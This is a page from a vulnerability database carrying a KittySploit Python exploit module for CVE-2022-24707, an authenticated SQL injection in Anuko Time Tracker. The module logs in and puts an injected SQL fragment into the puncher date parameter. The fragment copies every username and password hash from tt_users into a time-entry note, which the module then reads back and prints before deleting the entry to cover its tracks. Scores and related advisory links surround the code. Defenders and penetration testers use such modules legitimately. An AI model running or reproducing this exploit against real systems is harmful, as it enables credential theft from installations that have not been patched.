Lucene search
+L

Anuko Time Tracker CVE-2022-24707 puncher SQLi

🗓️ 26 Oct 2026 17:01:54Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 4 Views

Authenticated SQLi in Anuko Time Tracker puncher.php date parameter extracts credentials.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Anuko Time Tracker - SQL injection (Authenticated) Vulnerability
12 May 202200:00
–zdt
githubexploit
GithubExploit
Exploit for SQL Injection in Anuko Time_Tracker
3 May 202201:11
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Anuko Time_Tracker
23 Oct 202610:25
–githubexploit
bdu_fstec
BDU FSTEC
Anuko Time Tracker SQL Injection
13 May 202200:00
–bdu_fstec
circl
Circl
CVE-2022-24707
3 May 202201:25
–circl
cnnvd
CNNVD
Anuko Time Tracker SQL Injection Vulnerability
24 Feb 202200:00
–cnnvd
cve
CVE
CVE-2022-24707
23 Feb 202223:50
–cve
cvelist
Cvelist
CVE-2022-24707 SQL injection in anuko timetracker
23 Feb 202223:50
–cvelist
exploitdb
Exploit DB
Anuko Time Tracker - SQLi (Authenticated)
11 May 202200:00
–exploitdb
euvd
EUVD
EUVD-2022-29573
3 Oct 202520:07
–euvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Anuko Time Tracker CVE-2022-24707 puncher date SQLi credential extract."""

from __future__ import annotations

import re
from datetime import datetime, timedelta

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Anuko Time Tracker CVE-2022-24707 puncher SQLi",
        "description": (
            "CVE-2022-24707 (Anuko <= 1.20.0.5640): authenticated SQLi in puncher.php "
            "date parameter writes tt_users credentials into the entry note field."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2022-24707"],
        "platform": Platform.PHP,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-24707",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["anuko", "timetracker", "sqli", "authenticated", "cve-2022-24707"],
        "agent": {
            "risk": "intrusive",
            "effects": ["credential_access", "data_exfiltration"],
            "expected_requests": 8,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials"],
            "chain": {"suggested_followups": ["scanner/http/anuko_cve_2022_24707_detect"]},
        },
    }

    username = OptString("", "Anuko login", required=True)
    password = OptString("", "Anuko password", required=True)
    cleanup = OptBool(True, "Delete puncher entry after extract", required=False)

    @staticmethod
    def _ymd(dt: datetime) -> str:
        return f"{dt.year}-{dt.month}-{dt.day}"

    def _login(self) -> bool:
        resp = self.http_request(
            "POST",
            "/login.php",
            data={
                "login": str(self.username or ""),
                "password": str(self.password or ""),
                "btn_login": "Login",
            },
        )
        return resp is not None and "Incorrect" not in (resp.text or "")

    def _project_id(self) -> str | None:
        resp = self.http_request("GET", "/puncher.php")
        html = (resp.text or "") if resp else ""
        if "Feature is disabled" in html:
            return None
        m = re.search(r'<select[^>]*name="project"[^>]*>(.*?)</select>', html, re.I | re.S)
        if not m:
            return None
        opts = re.findall(r'<option\s+value="(\d+)"', m.group(1))
        return opts[0] if opts else None

    def _start_puncher(self, project_id: str) -> str | None:
        now = datetime.now()
        data = {
            "project": project_id,
            "btn_start": "Start",
            "browser_today": "",
            "browser_time": now.strftime("%H:%M"),
            "date": self._ymd(now),
        }
        resp = self.http_request(
            "POST",
            "/puncher.php",
            data=data,
            headers={"Referer": "/puncher.php"},
        )
        if resp and "Uncompleted entry already" in (resp.text or ""):
            return None
        page = self.http_request("GET", f"/puncher.php?date={self._ymd(now)}")
        ids = re.findall(r"time_edit\.php\?id=(\d+)", (page.text or "") if page else "")
        return sorted(ids)[-1] if ids else None

    def _sqli(self, project_id: str) -> None:
        now = datetime.now()
        stop = (now + timedelta(minutes=10)).strftime("%H:%M")
        sql = "SELECT group_concat(login,0x3a,password) FROM tt_users"
        malicious_date = (
            f"{self._ymd(now)}', comment=(({sql})), date='{self._ymd(now)}"
        )
        self.http_request(
            "POST",
            "/puncher.php",
            data={
                "btn_stop": "Stop",
                "browser_today": "",
                "browser_time": stop,
                "date": malicious_date,
            },
            headers={"Referer": "/puncher.php"},
            allow_redirects=False,
        )

    def _extract_note(self, entry_id: str) -> str:
        resp = self.http_request("GET", f"/time_edit.php?id={entry_id}")
        html = (resp.text or "") if resp else ""
        m = re.search(r'<textarea[^>]*name="note"[^>]*>(.*?)</textarea>', html, re.I | re.S)
        return (m.group(1).strip() if m else "")

    def _cleanup(self, entry_id: str) -> None:
        self.http_request(
            "POST",
            f"/time_delete.php?id={entry_id}",
            data={"delete_button": "Delete", "id": entry_id},
            headers={"Referer": f"/time_delete.php?id={entry_id}"},
        )

    def check(self):
        if not self._login():
            return {"vulnerable": False, "reason": "Login failed", "confidence": "high"}
        if not self._project_id():
            return {"vulnerable": False, "reason": "Puncher disabled or no project", "confidence": "medium"}
        return {"vulnerable": True, "reason": "Puncher available", "confidence": "high"}

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Precheck failed"))
            self.not_vulnerable()
            return False

        project = self._project_id()
        if not project:
            self.not_vulnerable()
            return False

        print_status("CVE-2022-24707 — Anuko puncher SQLi")
        entry = self._start_puncher(project)
        if not entry:
            print_error("Could not start puncher session")
            return False
        self._sqli(project)
        creds = self._extract_note(entry)
        if self.cleanup:
            self._cleanup(entry)

        if not creds:
            print_error("No credentials in note field")
            return False

        print_success(creds[:2000])
        session_id = self.handler_http(
            self.session,
            additional_data={"anuko_credentials": creds},
        )
        return bool(session_id)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2026 17:01Current
8High risk
Vulners AI Score8
CVSS 26.5
CVSS 3.17.4 - 8.8
EPSS0.07159
SSVC
4